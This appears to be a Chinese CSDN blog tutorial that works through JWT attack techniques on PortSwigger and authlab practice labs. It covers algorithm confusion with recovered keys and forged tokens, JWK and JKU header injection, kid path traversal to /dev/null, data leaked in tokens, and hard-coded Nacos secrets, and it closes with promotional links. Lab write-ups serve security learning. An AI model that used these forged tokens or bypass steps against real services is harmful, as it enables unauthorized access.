一文学习JWT造成的各种安全漏洞利用手法,从零基础到精通,收藏这篇就够了!

前言

上次给大家伙儿唠了唠基础类型,今天咱们来点刺激的,整点更复杂的 JWT 攻击手法,保证让你看完直呼“网络安全,YYDS!”

无密钥算法?不存在的!

比起上次说的密钥泄露,这次咱们玩点更高级的——无密钥算法混淆。啥意思?就是即使没有密钥,咱也能搞事情!

这就要用到咱们的秘密武器——神器工具!

先搞到两个 JWT,一个是登录时获得的,一个是退出再登录获得的,就像这样:

登录 JWT:

eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTIxOTY3Mywic3ViIjoid2llbmVyIn0.KY4JVtaDwH8nbbB_zapvzUR1txuLXPewAjkA-06TQ1ur6Vo8-yWHzclmfLEMi4PqT8bf2td0LMoZ7ttW27jjAm2Dv6-B4D8Q_4-b1fNrZHAp4YdMsYnkMD0jiPBAX5_9x0XPG6cOIBv8Voimd_1_Ghjncu4-oVItT9q0DeoaB0opXNm1btBo0fi-VakhiCaBgRfOmCJOXZL94ZT5szf7HxbbfM4jXX1nlD1G8ysThaEl6FYcCI8EAQ261MKbKvcbgNsLWurujKW98wqPk_i5rfizYMcv46YZ2KVoYSbCFpB6KOa5aT4WG6fZYcD19KaNDyvrWkR3rVKOe7x7uaYOCA

退出再登录 JWT:

eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTIxOTcyMCwic3ViIjoid2llbmVyIn0.XNJEemR2Z-h2vkfCZHkPoQznBvRvisZYwRV5a2Knx51eWNy-gdyMrV217EExUU-JxSTJG-bqsZUtCUBlYEcbUGOMP1UZWDIjKtW19XqMTiUvHykJOsMzNqkdrWZ2dcP0k5SEdoO0cGVil7WNdVKfjFU9oBXTOJGNxCroqWHksX9sMKojtHnufZW6WABOIku7I5ev11VsPleMrW4GMXIR7Jc51o7b8dFeAXISBXNlFCIumLKlSbhwE7O6Kf_qEOfC_FxXPxNWFRWFnKqi4d44EJUXama1G5bzvGT8Cjf0ilhvJM8ItDJRlpXts9eTm1Lo8UuxpFae_0D7vqJffaYyPw

然后跟着工具的提示一步步操作,结果如下:

Found n with multiplier 1:    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRURJeC9pQ1A3Um8zWS82dUdaQW1XZQpocVUrWmhzTDlsOHZMTWgvTDZjeGhrWHJUWGxxYk9xbndnN0hSSXdzcU14NnZySDNmZW5TVUs3cFh2OERZU2hHCjd5cGMzOHlvM2Q0TnMrZVVVeTVBQ3FMb1VnTjMvMlNZR1RJL3czWXJqVzBSd05JemhZOXhXV3g5dE9GZ2ZBR1cKQm4wK2JPblZraHdvVkRQcWNJZnhnd2lPTy9Xa1lLNmRBRTZxN0FqSDc3UzY4Vis1a3c1TTRRYWxwdUJCaFR6MwpCNlR3dHBrc05ETHRuRUNjcElCS1BkeUxmcXFKTzZRaTVBNm1GblZ1aE9KREN3QWpJbFlBNWFhdk9ZVUFBVElXCk0rY1JaZjN4VHVPWkh1enBEd0VJUjJROGF4TER5aHFGcnY5d0tCTWMxWjhLUUlIVVFxejRkdTVLOHZjU2FnRzQKMUFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.r1PuQ90sThTNeUn8TEPvcU_tt-me7G64u5h4dWdt8Hg    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFREl4L2lDUDdSbzNZLzZ1R1pBbVdlaHFVK1poc0w5bDh2TE1oL0w2Y3hoa1hyVFhscWJPcW4Kd2c3SFJJd3NxTXg2dnJIM2ZlblNVSzdwWHY4RFlTaEc3eXBjMzh5bzNkNE5zK2VVVXk1QUNxTG9VZ04zLzJTWQpHVEkvdzNZcmpXMFJ3Tkl6aFk5eFdXeDl0T0ZnZkFHV0JuMCtiT25Wa2h3b1ZEUHFjSWZ4Z3dpT08vV2tZSzZkCkFFNnE3QWpINzdTNjhWKzVrdzVNNFFhbHB1QkJoVHozQjZUd3Rwa3NOREx0bkVDY3BJQktQZHlMZnFxSk82UWkKNUE2bUZuVnVoT0pEQ3dBaklsWUE1YWF2T1lVQUFUSVdNK2NSWmYzeFR1T1pIdXpwRHdFSVIyUThheExEeWhxRgpydjl3S0JNYzFaOEtRSUhVUXF6NGR1NUs4dmNTYWdHNDFBSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.arzSrxOp1ANyTQoJBnpy8zSu-_xfTRt1Tp_gRXZM7hsFound n with multiplier 2:    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUJrWS94Qkg5bzBic2Y5WERNZ1RMUApRMUtmTXcyRit5K1hsbVEvbDlPWXd5TDFwcnkxTm5WVDRRZGpva1lXVkdZOVgxajd2dlRwS0ZkMHIzK0JzSlFqCmQ1VXViK1pVYnU4RzJmUEtLWmNnQlZGMEtRRzcvN0pNREprZjRic1Z4cmFJNEdrWndzZTRyTFkrMm5Dd1BnREwKQXo2Zk5uVHF5UTRVS2huMU9FUDR3WVJISGZyU01GZE9nQ2RWZGdSajk5cGRlSy9jeVljbWNJTlMwM0Fnd3A1NwpnOUo0VzB5V0dobDJ6aUJPVWtBbEh1NUZ2MVZFbmRJUmNnZFRDenEzUW5FaGhZQVJrU3NBY3ROWG5NS0FBSmtMCkdmT0lzdjc0cDNITWozWjBoNENFSTdJZU5ZbGg1UTFDMTMrNEZBbU9hcytGSUVEcUlWWjhPM2NsZVh1Sk5RRGMKYWdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.dY2Ag7OO40l9l0rYAPb5RKxkEhDX1QHv35xcuIbK1wQ    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQmtZL3hCSDlvMGJzZjlYRE1nVExQUTFLZk13MkYreStYbG1RL2w5T1l3eUwxcHJ5MU5uVlQKNFFkam9rWVdWR1k5WDFqN3Z2VHBLRmQwcjMrQnNKUWpkNVV1YitaVWJ1OEcyZlBLS1pjZ0JWRjBLUUc3LzdKTQpESmtmNGJzVnhyYUk0R2tad3NlNHJMWSsybkN3UGdETEF6NmZOblRxeVE0VUtobjFPRVA0d1lSSEhmclNNRmRPCmdDZFZkZ1JqOTlwZGVLL2N5WWNtY0lOUzAzQWd3cDU3ZzlKNFcweVdHaGwyemlCT1VrQWxIdTVGdjFWRW5kSVIKY2dkVEN6cTNRbkVoaFlBUmtTc0FjdE5Ybk1LQUFKa0xHZk9Jc3Y3NHAzSE1qM1owaDRDRUk3SWVOWWxoNVExQwoxMys0RkFtT2FzK0ZJRURxSVZaOE8zY2xlWHVKTlFEY2FnSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.JcDsUzNIeZdXeZmg8ngAxf7pJhEYoe5wAvYjXhHv50cFound n with multiplier 4:    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF5TWY0Z2orMGFOMlArcmhtUUpsbgpvYWxQbVliQy9aZkx5eklmeStuTVlaRjYwMTVhbXpxcDhJT3gwU01MS2pNZXI2eDkzM3AwbEN1NlY3L0EyRW9SCnU4cVhOL01xTjNlRGJQbmxGTXVRQXFpNkZJRGQvOWttQmt5UDhOMks0MXRFY0RTTTRXUGNWbHNmYlRoWUh3QmwKZ1o5UG16cDFaSWNLRlF6Nm5DSDhZTUlqanYxcEdDdW5RQk9xdXdJeCsrMHV2RmZ1Wk1PVE9FR3BhYmdRWVU4OQp3ZWs4TGFaTERReTdaeEFuS1NBU2ozY2kzNnFpVHVrSXVRT3BoWjFib1RpUXdzQUl5SldBT1dtcnptRkFBRXlGCmpQbkVXWDk4VTdqbVI3czZROEJDRWRrUEdzU3c4b2FoYTcvY0NnVEhOV2ZDa0NCMUVLcytIYnVTdkwzRW1vQnUKTlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.l-xCA6Jdg25RCBoBeKXxI8ICZ82HsC1UQ13jKh_TR2I    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXlNZjRnaiswYU4yUCtyaG1RSmxub2FsUG1ZYkMvWmZMeXpJZnkrbk1ZWkY2MDE1YW16cXAKOElPeDBTTUxLak1lcjZ4OTMzcDBsQ3U2VjcvQTJFb1J1OHFYTi9NcU4zZURiUG5sRk11UUFxaTZGSURkLzlrbQpCa3lQOE4ySzQxdEVjRFNNNFdQY1Zsc2ZiVGhZSHdCbGdaOVBtenAxWkljS0ZRejZuQ0g4WU1Jamp2MXBHQ3VuClFCT3F1d0l4KyswdXZGZnVaTU9UT0VHcGFiZ1FZVTg5d2VrOExhWkxEUXk3WnhBbktTQVNqM2NpMzZxaVR1a0kKdVFPcGhaMWJvVGlRd3NBSXlKV0FPV21yem1GQUFFeUZqUG5FV1g5OFU3am1SN3M2UThCQ0Vka1BHc1N3OG9haAphNy9jQ2dUSE5XZkNrQ0IxRUtzK0hidVN2TDNFbW9CdU5RSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.cd9-Y0F6XGSi41wr7ql4292cQdAQx-LZcJQT7c55sqI

然后就是一个一个尝试了,但是因为


bp已经说了,我们就不需要再去尝试了

然后之后的步骤和上一个一模一样的,就不再去弄了

JWK 头部注入?安排!

漏洞原理,咱得门儿清!

JWK 注入漏洞,说白了就是服务器太傻太天真,错误地信任了 JWT 中包含的公钥,没好好检查它的身份!

JWK(JSON Web Key)参数,是 JWS 规范里允许的一个字段,可以在 JWT 头部里塞入公钥。服务器验证签名时,会从 JWT 的 header 里捞出 jwk,用里面的公钥来验证签名。但是,如果服务器没做好验证工作,比如不检查 jwk 公钥的合法性或者来源,那攻击者就能钻空子,用恶意的公钥来搞事情!

简单来说,公钥这玩意儿我们可以控制!我们知道 RSA 验证需要密钥对,所以只需要自己生成一个公私钥,然后用自己的私钥去验证就 OK 了!

实战演练,安排!

首先,用插件生成一个 RSA 密钥:

然后,搞到一个 JWT:

同样的,把我们的 sub 改为 admin
 


然后我们使用刚刚的 RSA 密钥来 jwk 注入
这个工具可以一把梭哈

点击攻击后我们就可以直接访问 admin 界面了

JKU 头部注入?小菜一碟!

漏洞原理,换汤不换药!

漏洞原理和上面的 JWK 注入几乎一样,只不过获取密钥的地方变了。JWK 是直接从头部获取,而 JKU 是通过 JKU 头部里的 URL 去获取。

JKU(JSON Web Key Set URL) 是 JWT 头部的一个字段,指向一个 URL,这个 URL 里存放着用于验证 JWT 签名的公钥集合(JWK Set)。和 JWK 直接嵌入公钥不同,JKU 允许客户端(或者服务器)通过 HTTP 请求从指定的 URL 获取公钥。攻击者可以通过控制 JKU 参数,注入恶意的公钥来绕过 JWT 验证。

举个栗子:

{    "alg": "RS256",    "typ": "JWT",    "kid": "example-key-id",    "jku": "https://example.com/.well-known/jwks.json"}
漏洞利用,安排!

靶场:https://0a31002a040dccb682221ff100ba006d.web-security-academy.net/

我们可以把这个作为我们利用的点,这里放入我们的 jwk

首先是生成一个 jwk

还是一样的步骤,生成一个 RSA


然后复制 jwk

{    "kty": "RSA",    "e": "AQAB",    "kid": "278440b1-b72a-44e6-a73b-5452706b3269",    "n": "uqnQXFt0FFLNbC4dMUTIbbituoGYuRNJrzxFPW4fKxme8Jxw5GdBfXqmzCoi0Wt5YWlE_uKTteLfvhkIFr94N7kpe2KECtnltJtyVDJMpwiDFvSVSZKXAF394r5UvJNGcNpp7Pclvvn3PN2oDcTxJ4qj1LqQZKEs6cNop2Wu8awJa9A7hibQyLYZS8fbluoIyQqhi09J85PuFxF33-a1fF-vK_N1FG_R2S8hThj88wgqZAkoh1HgQJYTqUUY2JwwXVTrMSVf8nYXRWW0-4_UMXx9x34pziEBu_InWFb7ih6MOZQrlXMa4jGRUP8QzTZVqlU0BnzCUZNgHCyhTRSPjw"}

放入我们的 exploit 的 body,但是需要加入 key 头

我们可以看看 jwk 的标准形式

{  "keys": [    {      "kty": "RSA",  // 密钥类型是 RSA      "e": "AQAB",  // 公钥的指数部分 (在 RSA 中通常是固定的 "AQAB" 表示 65537)      "use": "sig",  // 密钥用途为签名 (signing)      "kid": "3d4d19f8-c756-4012-a10f-b8ee18646c70",  // 密钥 ID (Key ID),用于标识密钥      "alg": "RS256",  // 使用的签名算法是 RS256 (RSA 签名 + SHA-256)      "n": "wa3grpCz-1Rt6olPXN_HNsZfo5_L4mfMejejtCbSHojFUTyTjNcwFl-oXZBcNCeYKJVP9Ll0YvNjZbi5C3xn5G2zbu3nL5FRjZIpagK_Zmr_4CpAEPH5fLoL2G2cDTyyb1tWS9Y7R0-MEvm9QN7S7iw3NM2JLC_C1FL5ugtta_x-hQIVXCOWH_qHeoHtDNnGdy7KEyrryeeZGNGl2ZuGk2KCxYKA0VYgwAd_g7T-3ya935wPrSMptJ-OxHcBKBk-mYd_y_XaKEBDG7jZS_uHFbFSQ5prHELUsgGv6tylkqPIsmPclByaKM6cJ0vg00EAZmaoGhQoO_th14qMs939oQ"  // 公钥的模数部分 (n),是 RSA 公钥的一部分    }  ]}


保存成功后我们修改 jwt


需要 kid 和自己远程 jwk 一致

然后使用刚刚的生成的密钥签名就 ok 了

KID 头部注入?骚操作!

漏洞原理,格式不重要,能用就行!

在 JWS(JSON Web Signature)规范里,kid(Key ID)字段没有严格的格式要求。它就是一个由开发人员随便定义的字符串,可以是 UUID、文件名、数据库条目的 ID,或者任何其他字符串。由于 kid 格式不固定,攻击者可以利用这一点,尝试通过特定的路径或标识符来影响服务器的密钥验证过程,从而发起攻击。

简单来说,我们可以指定 kid 参数来指定加密的验证密钥,而且这个参数没有严格的格式要求!更重要的是,可以指定文件内容作为验证密钥

Linux 的 /dev/null 文件就很特殊,它存在,但是是空的!

所以我们可以用它作为验证密钥。当采用对称加密算法时,我们只要知道这个空文件路径,就可以尝试攻击了!

漏洞利用,秀起来!

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal

这次很简单
先生成一个 null 的验证密钥

然后抓一个 jwt 出来

然后使用刚刚的密钥签名方便认证


成功

敏感信息泄露?裸奔了!

一般 JWT 都会存放用户的 ID 信息,但有些 JWT 偏偏要存放用户的敏感信息!而 JWT 这玩意儿是可以 Base64 解码的,所以……

漏洞利用

我们可以访问:

https://authlab.digi.ninja/Leaky_JWT


我们将获取的 JWT 解码


可以发现获取了 admin 的账号和密码
我们尝试登录


但是登录失败了,怀疑 password 应该是 md5 编码

在线网站解密


获得了密码


登录成功了

密钥硬编码?开发者的锅!

这种漏洞简直是白给!比如 Nacos JWT 密钥硬编码漏洞。

Nacos 通过 JWT 进行身份认证,但是配置文件里存在默认的 JWT 签名密钥。如果开发者安全意识薄弱,没有更换这个签名密钥,那就等着被攻击者伪造 JWT 绕过身份认证吧

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

猜你喜欢

转载自blog.csdn.net/Libra1313/article/details/146913823
今日推荐